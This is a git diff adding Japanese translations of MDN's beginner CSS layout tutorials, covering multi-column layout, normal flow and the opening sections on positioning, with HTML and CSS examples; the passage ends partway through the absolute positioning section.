EmbedLiveSample('Multicol_2', '100%', 400) }}</p> + +<h2 id="Styling_the_columns" name="Styling_the_columns">段をスタイリングする</h2> + +<p>multicol によって作成された段を個別にスタイリングすることはできません。 1つの段を他の段より大きくしたり、単一の段の背景色やテキストの色を変更したりする方法はありません。 段の表示方法を変更する機会は次の2つがあります。</p> + +<ul> + <li>{{cssxref("column-gap")}} を使用して段間のギャップのサイズを変更します。</li> + <li>{{cssxref("column-rule")}} を使用して段間に線を追加します。</li> +</ul> + +<p>上記の例を使用して、次のように <code>column-gap</code> プロパティを追加してギャップのサイズを変更します。</p> + +<pre class="brush: css">.container { + column-width: 200px; + column-gap: 20px; +}</pre> + +<p>さまざまな値で遊ぶことができます — このプロパティは任意の長さの単位を受け入れます。 今度は <code>column-rule</code> で、段の間に線（rule、罫線）を追加します。 前のレッスンで遭遇した {{cssxref("border")}} プロパティと同様に、<code>column-rule</code> は {{cssxref("column-rule-color")}}、{{cssxref("column-rule-style")}}、{{cssxref("column-rule-width")}} の一括指定で、<code>border</code> と同じ値を受け入れます。</p> + +<pre class="brush: css">.container { + column-count: 3; + column-gap: 20px; + column-rule: 4px dotted rgb(79, 185, 227); +}</pre> + +<p>さまざまなスタイルや色の線を追加してみてください。</p> + +<div id="Multicol_3"> +<div class="hidden"> +<h6 id="Styling_the_columns_2">Styling the columns</h6> + +<pre class="brush: css">body { + width: 90%; + max-width: 900px; + margin: 2em auto; + font: .9em/1.2 Arial, Helvetica, sans-serif; +} +.container { + column-count: 3; + column-gap: 20px; + column-rule: 4px dotted rgb(79, 185, 227); +}</pre> + +<pre class="brush: html"><div class="container"> + <h1>Simple multicol example</h1> + + <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. + Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. + Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse + ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit + quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> + + <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique + elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit + cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis + dis parturient montes, nascetur ridiculus mus.</p> +</div></pre> +</div> +</div> + +<p>{{ EmbedLiveSample('Multicol_3', '100%', 400) }}</p> + +<p>注意すべきことは、線がそれ自体の幅を占めることはないということです。 それは <code>column-gap</code> で作ったギャップの向こう側にあります。 線の両側にスペースを増やすには、<code>column-gap</code> のサイズを増やす必要があります。</p> + +<h2 id="Columns_and_fragmentation" name="Columns_and_fragmentation">段と断片化</h2> + +<p>段組みレイアウトのコンテンツは断片化されています。 ウェブページを印刷するときなど、ページ付きメディアでコンテンツがふるまうのと基本的に同じようにふるまいます。 コンテンツを multicol コンテナに入れるとき、それは段に断片化されます。 そして、コンテンツはこれを可能にするために分割されます。</p> + +<p>時々、この分割は良くない読書体験をもたらす場所で起こるでしょう。 以下の実例では、multicol を使用して一連のボックスをレイアウトしました。 各ボックスの中には見出しとテキストがあります。 段がその2つの間で断片化すると、見出しはテキストから分離されます。</p> + +<div id="Multicol_4"> +<div class="hidden"> +<h6 id="Cards_example">Cards example</h6> + +<pre class="brush: css">body { + width: 90%; + max-width: 900px; + margin: 2em auto; + font: .9em/1.2 Arial, Helvetica, sans-serif; +} </pre> +</div> + +<pre class="brush: html"><div class="container"> + <div class="card"> + <h2>I am the heading</h2> + <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat + vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies + tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci + vel, viverra egestas ligula.</p> + </div> + + <div class="card"> + <h2>I am the heading</h2> + <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat + vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies + tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci + vel, viverra egestas ligula.</p> + </div> + + <div class="card"> + <h2>I am the heading</h2> + <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat + vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies + tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci + vel, viverra egestas ligula.</p> + </div> + <div class="card"> + <h2>I am the heading</h2> + <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat + vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies + tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci + vel, viverra egestas ligula.</p> + </div> + + <div class="card"> + <h2>I am the heading</h2> + <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat + vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies + tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci + vel, viverra egestas ligula.</p> + </div> + + <div class="card"> + <h2>I am the heading</h2> + <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat + vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies + tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci + vel, viverra egestas ligula.</p> + </div> + + <div class="card"> + <h2>I am the heading</h2> + <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat + vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies + tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci + vel, viverra egestas ligula.</p> + </div> + +</div> +</pre> + +<pre class="brush: css">.container { + column-width: 250px; + column-gap: 20px; +} + +.card { + background-color: rgb(207, 232, 220); + border: 2px solid rgb(79, 185, 227); + padding: 10px; + margin: 0 0 1em 0; +}</pre> +</div> + +<p>{{ EmbedLiveSample('Multicol_4', '100%', 600) }}</p> + +<p>このふるまいを制御するために、<a href="/ja/docs/Web/CSS/CSS_Fragmentation">CSS 分割</a>の仕様のプロパティを使用できます。 この仕様は、multicol とページ付きメディアでのコンテンツの分割を制御するためのプロパティを提供します。 例えば、<code>.card</code> の規則には、プロパティ {{cssxref("break-inside")}} を <code>avoid</code> の値で追加します。 これは見出しとテキストのコンテナなので、このボックスを断片化したくありません。</p> + +<p>現時点では、ブラウザーを最大限にサポートするために、古いプロパティ <code>page-break-inside: avoid</code> を追加することも価値があります。</p> + +<pre class="brush: css">.card { + break-inside: avoid; + page-break-inside: avoid; + background-color: rgb(207,232,220); + border: 2px solid rgb(79,185,227); + padding: 10px; + margin: 0 0 1em 0; +} +</pre> + +<p>ページをリロードすると、ボックスは一体になっているはずです。</p> + +<div id="Multicol_5"> +<div class="hidden"> +<h6 id="Multicol_Fragmentation">Multicol Fragmentation</h6> + +<pre class="brush: css">body { + width: 90%; + max-width: 900px; + margin: 2em auto; + font: .9em/1.2 Arial, Helvetica, sans-serif; +} </pre> + +<pre class="brush: html"><div class="container"> + <div class="card"> + <h2>I am the heading</h2> + <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat + vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies + tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci + vel, viverra egestas ligula.</p> + </div> + + <div class="card"> + <h2>I am the heading</h2> + <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat + vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies + tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci + vel, viverra egestas ligula.</p> + </div> + + <div class="card"> + <h2>I am the heading</h2> + <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat + vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies + tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci + vel, viverra egestas ligula.</p> + </div> + <div class="card"> + <h2>I am the heading</h2> + <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat + vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies + tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci + vel, viverra egestas ligula.</p> + </div> + + <div class="card"> + <h2>I am the heading</h2> + <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat + vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies + tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci + vel, viverra egestas ligula.</p> + </div> + + <div class="card"> + <h2>I am the heading</h2> + <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat + vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies + tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci + vel, viverra egestas ligula.</p> + </div> + + <div class="card"> + <h2>I am the heading</h2> + <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat + vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies + tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci + vel, viverra egestas ligula.</p> + </div> + +</div> +</pre> +</div> + +<pre class="brush: css">.container { + column-width: 250px; + column-gap: 20px; +} + +.card { + break-inside: avoid; + page-break-inside: avoid; + background-color: rgb(207, 232, 220); + border: 2px solid rgb(79, 185, 227); + padding: 10px; + margin: 0 0 1em 0; +}</pre> +</div> + +<p>{{ EmbedLiveSample('Multicol_5', '100%', 600) }}</p> + +<h2 id="Summary" name="Summary">まとめ</h2> + +<p>これで、構築中のデザインのレイアウト方法を選択するときに、意のままにできるもう一つのツールである段組みレイアウトの基本機能の使用方法がわかりました。</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li><a href="/ja/docs/Web/CSS/CSS_Fragmentation">CSS 分割</a></li> + <li><a href="/ja/docs/Web/Guide/CSS/Using_multi-column_layouts">段組みレイアウトの使用</a></li> +</ul> + +<p>{{PreviousMenuNext("Learn/CSS/CSS_layout/Positioning", "Learn/CSS/CSS_layout/Responsive_Design", "Learn/CSS/CSS_layout")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール内の文書</h2> + +<ul> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Introduction">CSS レイアウト入門</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Normal_Flow">通常フロー</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Flexbox">フレックスボックス</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Grids">グリッド</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Floats">フロート</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Positioning">位置指定</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">段組みレイアウト</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Responsive_Design">レスポンシブデザイン</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Media_queries">メディアクエリーの初心者向けガイド</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">過去のレイアウト方法</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Supporting_Older_Browsers">古いブラウザーのサポート</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension">基礎的なレイアウトの理解</a></li> +</ul> diff --git a/files/ja/learn/css/css_layout/normal_flow/index.html b/files/ja/learn/css/css_layout/normal_flow/index.html new file mode 100644 index 0000000000..3e9965ce6f --- /dev/null +++ b/files/ja/learn/css/css_layout/normal_flow/index.html @@ -0,0 +1,103 @@ +--- +title: 通常フロー +slug: Learn/CSS/CSS_layout/Normal_Flow +tags: + - Beginner + - CSS + - Layout + - Learn + - float + - grid + - normal flow +translation_of: Learn/CSS/CSS_layout/Normal_Flow +--- +<div>{{LearnSidebar}}</div> + +<p>{{PreviousMenuNext("Learn/CSS/CSS_layout/Introduction", "Learn/CSS/CSS_layout/Flexbox", "Learn/CSS/CSS_layout")}}</p> + +<p class="summary"><span class="seoSummary">この記事では、通常フロー、つまりレイアウトを変更していない場合のウェブページの要素のレイアウト方法について説明します。</span></p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提知識:</th> + <td>HTML の基礎 (<a href="/ja/docs/Learn/HTML/Introduction_to_HTML">HTML 入門</a>を学ぶ)、および CSS の機能の考え方 (<a href="/ja/docs/Learn/CSS/Introduction_to_CSS">CSS 入門</a>を学ぶ)。</td> + </tr> + <tr> + <th scope="row">学習目標:</th> + <td>変更を加える前に、ブラウザーがデフォルトでウェブページをどのようにレイアウトするかを説明します。</td> + </tr> + </tbody> +</table> + +<p>レイアウトを紹介した前回のレッスンで詳しく説明したように、CSS を適用してふるまいを変更していない場合、ウェブページ上の要素は通常フローでレイアウトされます。そして、理解を深め始めるにつれ、その通常フローの中で要素の位置を調整したり、要素を完全に取り除くたりして、要素のふるまいを変更できます。通常フローで読み取り可能な、しっかりとよく構造化された文書から始めることは、どんなウェブページでも始めるための最良の方法です。それは、ユーザーが非常に制限されたブラウザーを使用している場合や、ページのコンテンツを読み上げるスクリーンリーダーなどのデバイスを使用している場合でも、コンテンツを読みやすくすることができます。さらに、通常フローは読み取り可能な文書を作成するように設計されているので、この方法で始めることで、レイアウトを変更するときに文書と戦うのではなく文書とともに作業します。</p> + +<p>さまざまなレイアウト方法を深く掘り下げる前に、以前のモジュールで通常のドキュメントフローに関して検討したことのいくつかを再検討する価値があります。</p> + +<h2 id="How_are_elements_laid_out_by_default" name="How_are_elements_laid_out_by_default">要素はデフォルトでどのようにレイアウトされますか？</h2> + +<p>まず初めに、個々の要素ボックスは要素のコンテンツを取り、それからそれらの周りにパディング (padding、詰め物)、ボーダー (border、境界線) そしてマージン (margin、余白) を追加することによってレイアウトされます — これはまた以前に見たことがある<a href="/ja/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">ボックスモデル</a>のことです。</p> + +<p>デフォルトでは、<a href="/ja/docs/Web/HTML/Block-level_elements">ブロックレベル要素</a>のコンテンツは、その親要素の幅の 100% で、そのコンテンツと同じ高さです <a href="/ja/docs/Web/HTML/Inline_elements">インライン要素</a>は、コンテンツと同じ高さで、コンテンツと同じ幅です。インライン要素に幅や高さを設定することはできません — それらはブロックレベル要素のコンテンツの中にあるだけです。この方法でインライン要素のサイズを制御したい場合は、<code>display: block;</code> を使用してブロックレベル要素のようにふるまうように設定する必要があります (あるいは、<code>display: inline-block;</code> で、両方の特性を混在させます)。</p> + +<p>それは個々の要素を説明していますが、要素がどのように相互作用するかについてはどうでしょうか？ 通常のレイアウトフロー (レイアウト入門の記事に記載) は、ブラウザーのビューポート内に要素を配置するシステムです デフォルトでは、ブロックレベル要素は、親の<a href="/ja/docs/Web/CSS/writing-mode">書字方向モード</a> (writing mode、<em>初期</em> は horizontal-tb) に基づいて<em>ブロックのフロー方向</em> にレイアウトされます — 各要素は、最後の要素の下の新しい行に表示され、それらに設定されたマージンで区切られます したがって英語やその他の横書きで、上から下へ改行する書字方向モードでは、ブロックレベル要素は垂直にレイアウトされます。</p> + +<p>インライン要素は異なるふるまいをします — 新しい行に現れません。代わりに、親ブロックレベル要素の幅の内側にマージンがある限り、それらは互いに同じ行に配置され、隣接する (または折り返された) テキストコンテンツに配置されます。スペースがなければ、あふれているテキストや要素は新しい行に移動します。</p> + +<p>隣接する 2 つの要素の両方にマージンが設定されていて、2 つのマージンが接触している場合、2 つのうち大きい方が残り、小さい方が消えます — これは<a href="/ja/docs/Web/CSS/CSS_Box_Model/Mastering_margin_collapsing">マージンの相殺</a> (margin collapsing) と呼ばれます。</p> + +<p>これらすべてを説明する簡単な例を見てみましょう。</p> + +<div id="Normal_Flow"> +<pre class="brush: html notranslate"><h1>基本的なドキュメントフロー</h1> + +<p>これは基本的なブロックレベル要素です。隣接するブロックレベル要素は下の新しい行に配置されています。</p> + +<p>デフォルトでは、親要素の幅の 100% にまたがり、子コンテンツと同じ高さになります。幅と高さの合計は、コンテンツ + パディング + ボーダーの幅/高さです。</p> + +<p>マージンによって分けられています。マージンの相殺のため、両方ではなく、1 つのマージンの幅で区切られます。</p> + +<p><span>これ</span>および<span>これのような</span>インライン要素は、同じ行に配置され、同じ行にスペースがある場合は隣接するテキストノードに配置されます。オーバーフローするインライン要素は<span>可能であれば新しいラインに折り返され (これのようにテキストを含む)</span>、そうでなければ次の画像のように単に新しい行に進むでしょう。<img src="https://mdn.mozillademos.org/files/13360/long.jpg"></p></pre> + +<pre class="brush: css notranslate">body { + width: 500px; + margin: 0 auto; +} + +p { + background: rgba(255,84,104,0.3); + border: 2px solid rgb(255,84,104); + padding: 10px; + margin: 10px; +} + +span { + background: white; + border: 1px solid black; +}</pre> +</div> + +<p>{{ EmbedLiveSample('Normal_Flow', '100%', 500) }}</p> + +<h2 id="Summary" name="Summary">まとめ</h2> + +<p>通常フロー、およびブラウザーがデフォルトでどのようにレイアウトするかを理解したので、次にこのデフォルトの <code>display</code> を変更してデザインに必要なレイアウトを作成する方法を理解することに進みます。</p> + +<p>{{PreviousMenuNext("Learn/CSS/CSS_layout/Introduction", "Learn/CSS/CSS_layout/Flexbox", "Learn/CSS/CSS_layout")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール内の文書</h2> + +<ul> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Introduction">CSS レイアウト入門</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Normal_Flow">通常フロー</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Flexbox">フレックスボックス</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Grids">グリッド</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Floats">フロート</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Positioning">位置指定</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">段組みレイアウト</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Responsive_Design">レスポンシブデザイン</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Media_queries">メディアクエリーの初心者向けガイド</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">過去のレイアウト方法</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Supporting_Older_Browsers">古いブラウザーのサポート</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension">基礎的なレイアウトの理解</a></li> +</ul> diff --git a/files/ja/learn/css/css_layout/positioning/index.html b/files/ja/learn/css/css_layout/positioning/index.html new file mode 100644 index 0000000000..085dce0054 --- /dev/null +++ b/files/ja/learn/css/css_layout/positioning/index.html @@ -0,0 +1,588 @@ +--- +title: 位置指定 +slug: Learn/CSS/CSS_layout/Positioning +tags: + - Article + - Beginner + - CSS + - CodingScripting + - Guide + - Layout + - Positioning + - absolute + - fixed + - relative +translation_of: Learn/CSS/CSS_layout/Positioning +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/CSS/CSS_layout/Floats", "Learn/CSS/CSS_layout/Multiple-column_Layout", "Learn/CSS/CSS_layout")}}</div> + +<p class="summary"><span class="seoSummary">位置指定を使用すると、通常のドキュメントレイアウトフローから要素を取り出して異なるふるまいをさせることができます。 例えば、互いの上に重なったり、常にブラウザーのビューポート内の同じ場所に留まったりします。 この記事では、さまざまな {{cssxref("position")}} の値とその使い方について説明します。</span></p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提知識:</th> + <td>HTML の基本（<a href="/ja/docs/Learn/HTML/Introduction_to_HTML">HTML 入門</a>を学ぶ）、および CSS の機能の考え方（<a href="/ja/docs/Learn/CSS/Introduction_to_CSS">CSS 入門</a>を学ぶ）。</td> + </tr> + <tr> + <th scope="row">学習目標:</th> + <td>CSS 位置指定がどのように機能するのかを学ぶこと。</td> + </tr> + </tbody> +</table> + +<p>可能であれば、あなたのローカルコンピュータでの演習をお願いします — GitHub リポジトリから <code><a href="http://mdn.github.io/learning-area/css/css-layout/positioning/0_basic-flow.html">0_basic-flow.html</a></code> のコピーを入手し（<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/positioning/0_basic-flow.html">ソースコードはここ</a>）、それを出発点として使用します。</p> + +<h2 id="Introducing_positioning" name="Introducing_positioning">位置指定の紹介</h2> + +<p>位置指定（Positioning、ポジショニング）の本来の趣旨は、興味深い効果を生み出すために、上記の基本的なドキュメントフローのふるまいを上書きできるようにすることです。 レイアウト内のいくつかのボックスの位置をデフォルトのレイアウトフローの位置からわずかに変更して、ちょっと風変わりでアンティーク調の感じにしたらどうでしょうか？ 位置指定はあなたのツールです。 あるいは、ページの他の部分の上に浮かぶ UI 要素を作成したり、ページをいくらスクロールしても常にブラウザーウィンドウ内の同じ場所に配置したいですか？ 位置指定はそのようなレイアウト作業を可能にします。</p> + +<p>HTML 要素に適用できるさまざまな種類の位置指定があります。 特定の種類の位置指定を要素でアクティブにするには、{{cssxref("position")}} プロパティを使用します。</p> + +<h3 id="Static_positioning" name="Static_positioning">静的位置指定</h3> + +<p>静的位置指定（Static positioning）は、すべての要素が取得するデフォルトです。 これは、「要素をドキュメントレイアウトフロー内の通常の位置に配置する — ここで見るべき特別なことは何もありません」を意味します。</p> + +<p>これを実演し、例をこれからのセクションのために準備するために、最初に HTML の2番目の {{htmlelement("p")}} に <code>positioned</code> の <code>class</code> を次のように追加します。</p> + +<pre class="brush: html notranslate"><p class="positioned"> ... </p></pre> + +<p>それでは、CSS の最後に次の規則を追加してください。</p> + +<pre class="brush: css notranslate">.positioned { + position: static; + background: yellow; +}</pre> + +<p>保存してリフレッシュしても、2段落目の背景色が更新されていることを除けば、まったく違いはありません。 これは問題ありません。 前にも述べたように、静的位置指定はデフォルトのふるまいです！</p> + +<div class="note"> +<p><strong>注</strong>: この時点でのライブの例は <code><a href="http://mdn.github.io/learning-area/css/css-layout/positioning/1_static-positioning.html">1_static-positioning.html</a></code> にあります（<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/positioning/1_static-positioning.html">ソースコードを見る</a>）。</p> +</div> + +<h3 id="Relative_positioning" name="Relative_positioning">相対位置指定</h3> + +<p>相対位置指定（Relative positioning）は、最初に見ていく <code>position</code> の種類です。 これは静的位置指定と非常によく似ていますが、位置指定要素（positioned element）が通常のレイアウトフローで配置されたら、ページ上の他の要素と重なることも含んで最終的な位置を変更できるという点が異なります。 先に進んで、次のようにコード内の <code>position</code> の宣言を更新してください。</p> + +<pre class="brush: css notranslate">position: relative;</pre> + +<p>この段階で保存してリフレッシュしても、結果にまったく変化はありません。 それでは、どうやって要素の位置を変更するのでしょうか？ {{cssxref("top")}}、{{cssxref("bottom")}}、{{cssxref("left")}}、{{cssxref("right")}} の各プロパティを使用する必要があります。 これについては次のセクションで説明します。</p> + +<h3 id="Introducing_top_bottom_left_and_right" name="Introducing_top_bottom_left_and_right">top、bottom、left、right の紹介</h3> + +<p>{{cssxref("top")}}（上）、{{cssxref("bottom")}}（下）、{{cssxref("left")}}（左）、{{cssxref("right")}}（右）は {{cssxref("position")}} と一緒に使用され、位置指定要素の移動先を正確に指定します。 これを試すには、CSS の <code>.positioned</code> 規則に次の宣言を追加してください。</p> + +<pre class="brush: css notranslate">top: 30px; +left: 30px;</pre> + +<div class="note"> +<p><strong>注</strong>: これらのプロパティの値は、論理的に想定される任意の<a href="/ja/docs/Learn/CSS/Introduction_to_CSS/Values_and_units">単位</a>（ピクセル、mm、rem、% など）をとることができます。</p> +</div> + +<p>保存してリフレッシュすると、次のような結果になります。</p> + +<div class="hidden"> +<pre class="brush: html notranslate"><h1>Relative positioning</h1> + +<p>I am a basic block level element. My adjacent block level elements sit on new lines below me.</p> + +<p class="positioned">By default we span 100% of the width of our parent element, and we are as tall as our child content. Our total width and height is our content + padding + border width/height.</p> + +<p>We are separated by our margins. Because of margin collapsing, we are separated by the width of one of our margins, not both.</p> + +<p>inline elements <span>like this one</span> and <span>this one</span> sit on the same line as one another, and adjacent text nodes, if there is space on the same line. Overflowing inline elements <span>wrap onto a new line if possible — like this one containing text</span>, or just go on to a new line if not, much like this image will do: <img src="https://mdn.mozillademos.org/files/13360/long.jpg"></p></pre> + +<pre class="brush: css notranslate">body { + width: 500px; + margin: 0 auto; +} + +p { + background: aqua; + border: 3px solid blue; + padding: 10px; + margin: 10px; +} + +span { + background: red; + border: 1px solid black; +} + +.positioned { + position: relative; + background: yellow; + top: 30px; + left: 30px; +}</pre> +</div> + +<p>{{ EmbedLiveSample('Introducing_top_bottom_left_and_right', '100%', 500) }}</p> + +<p>クールだよね？ Ok、おそらくこれはあなたが期待していたものではなかったでしょう — 上と左を指定したのに、なぜ下と右に移動したのでしょうか？ 最初は非論理的に聞こえるかもしれませんが、これは相対的位置指定が機能する方法です — 位置指定したボックスの指定した側を反対方向に押す見えない力を考える必要があります。 例えば、<code>top: 30px;</code> と指定した場合、力がボックスの上側を押して、箱の上側が 30px 下向きに移動します。</p> + +<div class="note"> +<p><strong>注</strong>: この時点でのライブの例は <code><a href="http://mdn.github.io/learning-area/css/css-layout/positioning/2_relative-positioning.html">2_relative-positioning.html</a></code> にあります（<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/positioning/2_relative-positioning.html">ソースコードを見る</a>）。</p> +</div> + +<h3 id="Absolute_positioning" name="Absolute_positioning">絶対位置指定</h3> + +<p>絶対位置指定（Absolute positioning）はとても異なる結果をもたらします。 次のようにコード内の <code>position</code> 宣言を変更してみましょう。</p> + +<pre class="brush: css notranslate">position: absolute;</pre> + +<p>保存してリフレッシュすると、次のようになります。</p> + +<div class="hidden"> +<pre class="brush: html notranslate"><h1>Absolute positioning</h1> + +<p>I am a basic block level element. My adjacent block level elements sit on new lines below me.</p> + +<p class="positioned">By default we span 100% of the width of our parent element, and we are as tall as our child content. Our total width and height is our content + padding + border width/height.</p> + +<p>We are separated by our margins. Because of margin collapsing, we are separated by the width of one of our margins, not both.</p> + +<p>inline elements <span>like this one</span> and <span>this one</span> sit on the same line as one another, and adjacent text nodes, if there is space on the same line. Overflowing inline elements <span>wrap onto a new line if possible — like this one containing text</span>, or just go on to a new line if not, much like this image will do: <img src="https://mdn.mozillademos.org/files/13360/long.jpg"></p></pre> + +<pre class="brush: css notranslate">body { + width: 500px; + margin: 0 auto; +} + +p { + background: aqua; + border: 3px solid blue; + padding: 10px; + margin: 10px; +} + +span { + background: red; + border: 1px solid black; +} + +.positioned { + position: absolute; + background: yellow; + top: 30px; + left: 30px; +}</pre> +</div> + +<p>{{ EmbedLiveSample('Absolute_positioning', '100%', 420) }}</p> + +<p>まず最初に、ドキュメントフロー内にあるべき位置指定要素のギャップが存在しないことに注意してください。 1番目と3番目の要素はそれが存在しないので一緒になっています！ ある意味、これは事実です。 絶対位置指定要素は、通常のドキュメントレイアウトフローには存在しません。 その代わりに、それは他のすべてのものとは別のそれ自身の層の上にあります。 これは非常に便利です。 つまり、ページ上の他の要素のレイアウトを妨げない独立した UI 機能を作成できるということです。 例えば、ポップアップ情報ボックスやコントロールメニュー、ロールオーバーパネル、ページ上の任意の場所にドラッグアンドドロップできる UI 機能、等々です。</p> + +<p>次に、要素の位置が変更されたことに注意してください。 これは、{{cssxref("top")}}、{{cssxref("bottom")}}、{{cssxref("left")}}、{{cssxref("right")}} の絶対位置指定でのふるまいが異なるためです。 通常のドキュメントレイアウトフロー内での相対的な位置に基づいて要素を配置するのではなく, 要素がそれぞれの包含要素の側からあるべき距離を指定します。 したがって、この場合は、絶対位置指定要素は「包含要素」の上側から30ピクセル、左側から30ピクセルとなるようにします。 